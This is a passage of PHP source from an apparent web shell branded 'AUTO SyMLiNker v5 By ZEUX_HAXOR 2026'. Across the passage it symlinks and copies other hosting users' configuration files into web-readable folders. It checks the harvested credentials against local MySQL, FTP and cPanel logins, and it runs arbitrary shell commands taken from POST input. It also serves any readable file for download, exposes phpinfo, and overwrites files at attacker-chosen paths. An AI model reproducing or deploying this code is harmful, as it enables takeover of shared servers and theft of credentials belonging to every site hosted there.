foreach (grab_config_paths($user_hex) as $config => $nama_config) {
$sym404 = @symlink($config, 'sym404/' . $user_hex . '-' . $nama_config . '.txt');
if ($sym404) {
@mkdir('sym404/' . $user_hex . '-' . $nama_config . '.txt404', 0777);
$hta = "Options Indexes FollowSymLinks\nDirectoryIndex hex.htm\nHeaderName hex.txt\nSatisfy Any\nIndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble\nIndexIgnore *";
@file_put_contents('sym404/' . $user_hex . '-' . $nama_config . '.txt404/.htaccess', $hta);
@symlink($config, 'sym404/' . $user_hex . '-' . $nama_config . '.txt404/hex.txt');
}
}
}
$html .= '
';
return $html;
}
if ($mode === 'grab') {
@mkdir('configgrab', 0777);
@file_put_contents('configgrab/.htaccess', "Options all\nRequire None\nSatisfy Any");
$got = 0;
foreach (parse_passwd_users($passwd) as $user_hex) {
foreach (grab_config_paths($user_hex) as $config => $nama_config) {
$ambil_config = @file_get_contents($config);
if ($ambil_config === false || $ambil_config === '') continue;
$file_config = @fopen('configgrab/' . $user_hex . '-' . $nama_config . '.txt', 'w');
if ($file_config) {
@fputs($file_config, $ambil_config);
@fclose($file_config);
$got++;
}
}
}
$html .= '
';
return $html;
}
return '
Unknown mode.
';
}
function domains_for_user(string $user): array {
$map = load_zone_map();
$list = array_values($map['userZones'][$user] ?? []);
sort($list);
return $list;
}
function owner_for_zone(string $zone): string {
$map = load_zone_map();
return $map['zoneUser'][strtolower($zone)] ?? 'n/a';
}
function host_lines_for_user(string $user): array {
$ip = server_ip();
$domains = domains_for_user($user);
$out = [];
if (!$domains) {
$out[] = $ip !== '' ? 'https://'.$ip.':2083' : 'https://127.0.0.1:2083';
return $out;
}
foreach ($domains as $d) {
$out[] = $ip !== '' && $d !== $ip
? 'https://'.$d.':2083 ['.$ip.']'
: 'https://'.$d.':2083';
}
return $out;
}
function mysql_ok(string $user, string $pass): bool {
if (!function_exists('mysqli_connect')) return false;
mysqli_report(MYSQLI_REPORT_OFF);
foreach (['127.0.0.1', 'localhost'] as $h) {
$c = @mysqli_connect($h, $user, $pass, '', 3306);
if ($c instanceof mysqli) { mysqli_close($c); return true; }
}
return false;
}
function ftp_ok(string $user, string $pass): bool {
$hosts = ['127.0.0.1', 'localhost'];
$ip = server_ip();
if ($ip !== '') $hosts[] = $ip;
if (function_exists('ftp_connect')) {
foreach ($hosts as $h) {
$ftp = @ftp_connect($h, 21, 8);
if ($ftp) {
$ok = @ftp_login($ftp, $user, $pass);
@ftp_close($ftp);
if ($ok) return true;
}
}
}
if (function_exists('ftp_ssl_connect')) {
foreach ($hosts as $h) {
$ftp = @ftp_ssl_connect($h, 21, 8);
if (!$ftp) $ftp = @ftp_ssl_connect($h, 990, 8);
if ($ftp) {
$ok = @ftp_login($ftp, $user, $pass);
@ftp_close($ftp);
if ($ok) return true;
}
}
}
if (function_exists('fsockopen')) {
foreach ($hosts as $h) {
$fp = @fsockopen($h, 21, $errno, $errstr, 6);
if (!$fp) continue;
stream_set_timeout($fp, 6);
$banner = (string)@fgets($fp, 512);
if ($banner === '' || strpos($banner, '220') !== 0) { fclose($fp); continue; }
fwrite($fp, 'USER '.$user."\r\n");
$u = (string)@fgets($fp, 512);
fwrite($fp, 'PASS '.$pass."\r\n");
$p = (string)@fgets($fp, 512);
fwrite($fp, "QUIT\r\n");
fclose($fp);
if (strpos($p, '230') === 0) return true;
}
}
return false;
}
function use_ftp(): bool {
return !empty($_POST['use_ftp']);
}
function use_cpanel(): bool {
return !empty($_POST['use_cpanel']);
}
function cpanel_ok(string $user, string $pass): bool {
$hosts = ['127.0.0.1', 'localhost'];
$ip = server_ip();
if ($ip !== '') $hosts[] = $ip;
$ports = [2083, 2082];
$body = http_build_query(['user' => $user, 'pass' => $pass]);
foreach ($hosts as $h) {
foreach ($ports as $port) {
$scheme = ($port === 2083) ? 'https' : 'http';
$url = $scheme.'://'.$h.':'.$port.'/login/?login_only=1';
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $body,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_TIMEOUT => 8,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: Mozilla/5.0',
],
]);
$raw = (string)curl_exec($ch);
$code = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($raw === '') continue;
if (preg_match('/\{[^}]*"status"\s*:\s*1\b/s', $raw)) return true;
if ($code === 200 && stripos($raw, '"status":0') === false && preg_match('/Set-Cookie:.*(?:cpsession|cprelogin|whostmgrsession)/i', $raw)) return true;
continue;
}
$ctx = stream_context_create([
'http' => [
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($body)."\r\n",
'content' => $body,
'timeout' => 8,
'ignore_errors' => true,
],
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
'allow_self_signed' => true,
],
]);
$raw = (string)@file_get_contents($url, false, $ctx);
if ($raw === '') continue;
if (preg_match('/\{[^}]*"status"\s*:\s*1\b/s', $raw)) return true;
}
}
return false;
}
function probe_mode(): string {
if (use_cpanel()) return 'cpanel';
if (use_ftp()) return 'ftp';
return 'mysql';
}
function probe_user(string $user, string $pass, string $mode): array {
if ($mode === 'cpanel') {
return ['mysql' => false, 'ftp' => false, 'cpanel' => cpanel_ok($user, $pass)];
}
if ($mode === 'ftp') {
return ['mysql' => false, 'ftp' => ftp_ok($user, $pass), 'cpanel' => false];
}
return ['mysql' => mysql_ok($user, $pass), 'ftp' => false, 'cpanel' => false];
}
function tag_hits(array $r, string $mode): string {
if ($mode === 'cpanel') return !empty($r['cpanel']) ? 'CPANEL' : '';
if ($mode === 'ftp') return !empty($r['ftp']) ? 'FTP' : '';
return !empty($r['mysql']) ? 'MYSQL' : '';
}
function run_cmd(string $fn, string $cmd): string {
$out = '';
if ($fn === 'system' && function_exists('system')) {
ob_start(); @system($cmd); $out = (string)ob_get_clean();
} elseif ($fn === 'passthru' && function_exists('passthru')) {
ob_start(); @passthru($cmd); $out = (string)ob_get_clean();
} elseif ($fn === 'exec' && function_exists('exec')) {
$lines = []; @exec($cmd, $lines); $out = implode("\n", $lines);
} elseif ($fn === 'shell_exec' && function_exists('shell_exec')) {
$out = (string)@shell_exec($cmd);
}
return $out;
}
function old_head(string $title = 'AUTO SyMLiNker v5 By ZEUX_HAXOR 2026|'): void {
echo '
'.h($title).'
';
}
if (!empty($_POST['cccc']) && $_POST['cccc'] === 'download_file' && !empty($_POST['d_name'])) {
$p = (string)$_POST['d_name'];
if (is_file($p) && is_readable($p)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($p).'"');
readfile($p);
exit;
}
}
if (isset($_GET['phpinfo'])) {
echo @phpinfo();
echo '
';
die();
}
if (($_POST['page'] ?? '') === 'ccmmdd') {
old_head();
$att = (string)($_POST['att'] ?? 'system');
$cmd = (string)($_POST['ccmmdd2'] ?? 'dir');
echo '
';
exit;
}
if (($_POST['page'] ?? '') === 'edit' && !empty($_POST['pathclass'])) {
$path = (string)$_POST['pathclass'];
$code = str_replace(["\r\n", '\\'], ["\n", ''], (string)($_POST['code'] ?? ''));
@file_put_contents($path, $code);
old_head();
echo '
OK Edit
BACK